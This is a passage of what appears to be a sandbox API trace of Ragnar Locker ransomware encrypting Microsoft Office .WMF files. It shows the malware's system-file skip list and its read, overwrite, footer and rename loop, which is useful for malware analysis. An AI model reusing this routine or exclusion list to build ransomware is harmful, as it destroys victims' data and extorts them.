Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18206_.WMF" [0096.596] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18206_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18206_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18206_.WMF.ragnar_FD7BD9FC" [0096.596] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18206_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18206_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18206_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18206_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.597] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5e8e00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf5e8e00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0xfbc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18207_.WMF", cAlternateFileName="")) returned 1 [0096.597] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.597] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18207_.WMF" | out: lpString1="BD18207_.WMF") returned="BD18207_.WMF" [0096.597] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18207_.WMF") returned=".WMF" [0096.597] lstrcmpiW (lpString1="BD18207_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.597] lstrcmpiW (lpString1="BD18207_.WMF", lpString2="autorun.inf") returned 1 [0096.597] lstrcmpiW (lpString1="BD18207_.WMF", lpString2="boot.ini") returned -1 [0096.597] lstrcmpiW (lpString1="BD18207_.WMF", lpString2="bootfont.bin") returned -1 [0096.597] lstrcmpiW (lpString1="BD18207_.WMF", lpString2="bootsect.bak") returned -1 [0096.597] lstrcmpiW (lpString1="BD18207_.WMF", lpString2="bootmgr") returned -1 [0096.598] lstrcmpiW (lpString1="BD18207_.WMF", lpString2="bootmgr.efi") returned -1 [0096.598] lstrcmpiW (lpString1="BD18207_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.598] lstrcmpiW (lpString1="BD18207_.WMF", lpString2="desktop.ini") returned -1 [0096.598] lstrcmpiW (lpString1="BD18207_.WMF", lpString2="iconcache.db") returned -1 [0096.598] lstrcmpiW (lpString1="BD18207_.WMF", lpString2="ntldr") returned -1 [0096.598] lstrcmpiW (lpString1="BD18207_.WMF", lpString2="ntuser.dat") returned -1 [0096.598] lstrcmpiW (lpString1="BD18207_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.598] lstrcmpiW (lpString1="BD18207_.WMF", lpString2="ntuser.ini") returned -1 [0096.598] lstrcmpiW (lpString1="BD18207_.WMF", lpString2="thumbs.db") returned -1 [0096.598] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.598] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.598] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.598] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.598] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.598] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.598] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.598] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18207_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18207_.wmf")) returned 0x20 [0096.598] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18207_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18207_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.599] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=4028) returned 1 [0096.599] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xfb3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.599] GetProcessHeap () returned 0x580000 [0096.599] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.599] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.600] VirtualAlloc (lpAddress=0x0, dwSize=0xfbc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.601] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.601] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.601] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xfbc, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xfbc, lpOverlapped=0x0) returned 1 [0096.601] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.601] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xfbc, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.601] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xfbc, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xfbc, lpOverlapped=0x0) returned 1 [0096.601] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xfbc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.601] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.601] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xfbc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.601] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.601] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.602] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.602] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.602] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.602] GetProcessHeap () returned 0x580000 [0096.602] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.602] CloseHandle (hObject=0xf4) returned 1 [0096.602] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18207_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18207_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18207_.WMF" [0096.602] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18207_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18207_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18207_.WMF.ragnar_FD7BD9FC" [0096.602] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18207_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18207_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18207_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18207_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.603] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f714100, ftCreationTime.dwHighDateTime=0x1bdcf1f, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4f714100, ftLastWriteTime.dwHighDateTime=0x1bdcf1f, nFileSizeHigh=0x0, nFileSizeLow=0x1b28, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18208_.WMF", cAlternateFileName="")) returned 1 [0096.603] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.603] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18208_.WMF" | out: lpString1="BD18208_.WMF") returned="BD18208_.WMF" [0096.603] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18208_.WMF") returned=".WMF" [0096.603] lstrcmpiW (lpString1="BD18208_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.604] lstrcmpiW (lpString1="BD18208_.WMF", lpString2="autorun.inf") returned 1 [0096.604] lstrcmpiW (lpString1="BD18208_.WMF", lpString2="boot.ini") returned -1 [0096.604] lstrcmpiW (lpString1="BD18208_.WMF", lpString2="bootfont.bin") returned -1 [0096.604] lstrcmpiW (lpString1="BD18208_.WMF", lpString2="bootsect.bak") returned -1 [0096.604] lstrcmpiW (lpString1="BD18208_.WMF", lpString2="bootmgr") returned -1 [0096.604] lstrcmpiW (lpString1="BD18208_.WMF", lpString2="bootmgr.efi") returned -1 [0096.604] lstrcmpiW (lpString1="BD18208_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.604] lstrcmpiW (lpString1="BD18208_.WMF", lpString2="desktop.ini") returned -1 [0096.604] lstrcmpiW (lpString1="BD18208_.WMF", lpString2="iconcache.db") returned -1 [0096.604] lstrcmpiW (lpString1="BD18208_.WMF", lpString2="ntldr") returned -1 [0096.604] lstrcmpiW (lpString1="BD18208_.WMF", lpString2="ntuser.dat") returned -1 [0096.604] lstrcmpiW (lpString1="BD18208_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.604] lstrcmpiW (lpString1="BD18208_.WMF", lpString2="ntuser.ini") returned -1 [0096.604] lstrcmpiW (lpString1="BD18208_.WMF", lpString2="thumbs.db") returned -1 [0096.604] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.604] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.604] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.604] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.604] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.604] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.604] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.604] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18208_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18208_.wmf")) returned 0x20 [0096.604] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18208_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18208_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.605] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=6952) returned 1 [0096.605] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1b1f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.605] GetProcessHeap () returned 0x580000 [0096.605] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.605] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.606] VirtualAlloc (lpAddress=0x0, dwSize=0x1b28, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.606] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.607] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.607] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1b28, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x1b28, lpOverlapped=0x0) returned 1 [0096.607] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.608] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1b28, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.608] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1b28, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x1b28, lpOverlapped=0x0) returned 1 [0096.608] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1b28, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.608] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.608] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1b28, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.608] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.608] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.608] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.608] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.608] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.608] GetProcessHeap () returned 0x580000 [0096.608] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.608] CloseHandle (hObject=0xf4) returned 1 [0096.608] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18208_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18208_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18208_.WMF" [0096.609] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18208_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18208_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18208_.WMF.ragnar_FD7BD9FC" [0096.609] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18208_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18208_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18208_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18208_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.609] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96603600, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x96603600, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0xc6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18209_.WMF", cAlternateFileName="")) returned 1 [0096.609] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.609] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18209_.WMF" | out: lpString1="BD18209_.WMF") returned="BD18209_.WMF" [0096.609] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18209_.WMF") returned=".WMF" [0096.609] lstrcmpiW (lpString1="BD18209_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.609] lstrcmpiW (lpString1="BD18209_.WMF", lpString2="autorun.inf") returned 1 [0096.609] lstrcmpiW (lpString1="BD18209_.WMF", lpString2="boot.ini") returned -1 [0096.609] lstrcmpiW (lpString1="BD18209_.WMF", lpString2="bootfont.bin") returned -1 [0096.610] lstrcmpiW (lpString1="BD18209_.WMF", lpString2="bootsect.bak") returned -1 [0096.610] lstrcmpiW (lpString1="BD18209_.WMF", lpString2="bootmgr") returned -1 [0096.610] lstrcmpiW (lpString1="BD18209_.WMF", lpString2="bootmgr.efi") returned -1 [0096.610] lstrcmpiW (lpString1="BD18209_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.610] lstrcmpiW (lpString1="BD18209_.WMF", lpString2="desktop.ini") returned -1 [0096.610] lstrcmpiW (lpString1="BD18209_.WMF", lpString2="iconcache.db") returned -1 [0096.610] lstrcmpiW (lpString1="BD18209_.WMF", lpString2="ntldr") returned -1 [0096.610] lstrcmpiW (lpString1="BD18209_.WMF", lpString2="ntuser.dat") returned -1 [0096.610] lstrcmpiW (lpString1="BD18209_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.610] lstrcmpiW (lpString1="BD18209_.WMF", lpString2="ntuser.ini") returned -1 [0096.610] lstrcmpiW (lpString1="BD18209_.WMF", lpString2="thumbs.db") returned -1 [0096.610] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.610] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.610] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.610] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.610] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.610] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.610] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.610] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18209_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18209_.wmf")) returned 0x20 [0096.611] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18209_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18209_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.611] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=3182) returned 1 [0096.611] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc65, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.611] GetProcessHeap () returned 0x580000 [0096.611] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.611] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.613] VirtualAlloc (lpAddress=0x0, dwSize=0xc6e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.613] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.613] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.613] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xc6e, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xc6e, lpOverlapped=0x0) returned 1 [0096.613] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.613] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc6e, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.613] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xc6e, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xc6e, lpOverlapped=0x0) returned 1 [0096.613] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc6e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.614] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.614] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc6e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.614] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.614] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.614] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.614] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.614] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.614] GetProcessHeap () returned 0x580000 [0096.614] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.614] CloseHandle (hObject=0xf4) returned 1 [0096.614] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18209_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18209_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18209_.WMF" [0096.614] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft 